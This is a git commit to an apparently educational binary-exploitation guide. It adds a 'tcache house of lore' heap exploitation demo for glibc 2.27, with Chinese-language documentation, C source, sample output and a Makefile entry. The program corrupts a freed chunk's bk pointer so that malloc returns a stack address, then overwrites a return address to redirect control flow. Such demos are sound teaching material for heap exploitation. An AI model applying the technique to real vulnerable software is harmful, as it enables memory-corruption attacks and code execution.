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add tcache_house_of_lore

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firmianay 2018-05-23 11:18:32 +08:00
parent 9c5d6239c3
commit b672b21288
3 changed files with 159 additions and 1 deletions
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92
doc/3.1.7_heap_exploit_2.md
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@ -672,6 +672,98 @@ READ of size 8 at 0x60c00000bf80 thread T0
#2 0x400b38 in _start (/home/firmy/how2heap/a.out+0x400b38)
```
最后再给一个 libc-2.27 版本的：
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ puts("Nice jump d00d"); exit(0); }
int main() {
intptr_t *victim = malloc(0x80);
// fill the tcache
int *a[10];
int i;
for (i = 0; i < 7; i++) {
a[i] = malloc(0x80);
}
for (i = 0; i < 7; i++) {
free(a[i]);
}
memset(victim, 'A', 0x80);
void *p5 = malloc(0x10);
memset(p5, 'A', 0x10);
intptr_t *victim_chunk = victim - 2;
fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[6] = {0};
stack_buffer_1[0] = 0;
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
stack_buffer_2[3] = (intptr_t*)stack_buffer_1; // 3675 bck->fd = bin;
fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
free((void*)victim);
fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
void *p2 = malloc(0x100);
fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
victim[1] = (intptr_t)stack_buffer_1;
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
void *p3 = malloc(0x40);
// empty the tcache
for (i = 0; i < 7; i++) {
a[i] = malloc(0x80);
}
char *p4 = malloc(0x80);
memset(p4, 'A', 0x10);
fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);
intptr_t sc = (intptr_t)jackpot;
memcpy((p4+0xa8), &sc, 8);
}
```
```
$ gcc -g house_of_lore.c
$ ./a.out
Allocated the victim (small) chunk: 0x55674d75f260
stack_buffer_1: 0x7ffff71fb1d0
stack_buffer_2: 0x7ffff71fb1f0
Freeing the victim chunk 0x55674d75f260, it will be inserted in the unsorted bin
victim->fd: 0x7f1eba392b00
victim->bk: 0x7f1eba392b00
Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x55674d75f700
The victim chunk 0x55674d75f260 will be inserted in front of the SmallBin
victim->fd: 0x7f1eba392b80
victim->bk: 0x7f1eba392b80
Now emulating a vulnerability that can overwrite the victim->bk pointer
This last malloc should return a chunk at the position injected in bin->bk: 0x7ffff71fb1e0
The fd pointer of stack_buffer_2 has changed: 0x7ffff71fb1e0
Nice jump d00d
```
#### overlapping_chunks
```c
#include <stdio.h>

2
src/others/3.1.6_heap_exploit/Makefile
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@ -1,4 +1,4 @@
PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange
PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore tcache_house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange
CFLAGS += -std=c99 -g
# CFLAGS += -fsanitize=address

66
src/others/3.1.6_heap_exploit/tcache_house_of_lore.c Normal file
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@ -0,0 +1,66 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ puts("Nice jump d00d"); exit(0); }
int main() {
intptr_t *victim = malloc(0x80);
// fill the tcache
int *a[10];
int i;
for (i = 0; i < 7; i++) {
a[i] = malloc(0x80);
}
for (i = 0; i < 7; i++) {
free(a[i]);
}
memset(victim, 'A', 0x80);
void *p5 = malloc(0x10);
memset(p5, 'A', 0x10);
intptr_t *victim_chunk = victim - 2;
fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[6] = {0};
stack_buffer_1[0] = 0;
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
stack_buffer_2[3] = (intptr_t*)stack_buffer_1; // 3675 bck->fd = bin;
fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
free((void*)victim);
fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
void *p2 = malloc(0x100);
fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
victim[1] = (intptr_t)stack_buffer_1;
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
void *p3 = malloc(0x40);
// empty the tcache
for (i = 0; i < 7; i++) {
a[i] = malloc(0x80);
}
char *p4 = malloc(0x80);
memset(p4, 'A', 0x10);
fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);
intptr_t sc = (intptr_t)jackpot;
memcpy((p4+0xa8), &sc, 8);
}